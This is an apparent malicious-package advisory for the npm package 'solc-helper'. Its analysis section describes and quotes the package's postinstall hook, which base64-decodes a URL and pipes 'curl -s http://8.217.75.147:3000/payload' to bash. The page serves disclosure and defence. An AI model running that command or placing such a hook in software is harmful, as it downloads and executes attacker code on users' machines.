solc-helper
Affected
- Versions:
1.0.0,2.0.0
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: None
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in solc-helper (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (2016baa4fe29c296464b8381f88440457a113d79e2773d2252eb609a15ea2e03)
package.json's postinstall lifecycle script runs node -e to base64-decode a hidden URL and pipe its contents to bash: curl -s http://8.217.75.147:3000/payload | bash. The URL is obfuscated via Buffer.from('aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=','base64').toString() which decodes to http://8.217.75.147:3000/payload. Every npm install solc-helper triggers this unattended download-and-execute of attacker-controlled shell code from a bare IP over plaintext HTTP, with no integrity check. Multiple independent block signals stack: bare-IP C2, plaintext HTTP, base64-obfuscated URL inside a lifecycle hook, curl | bash pattern, and no legitimate functionality advertised by the package to justify any network activity.
Source: ossf-package-analysis (ddd32c477334047130051f655031a49e899c68da7dbeff001a98efb7e25afa2a)
The OpenSSF Package Analysis project identified 'solc-helper' @ 2.0.0 (npm) as malicious.
It is considered malicious because:
Not rated by the source.
1.0.0, 2.0.0None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0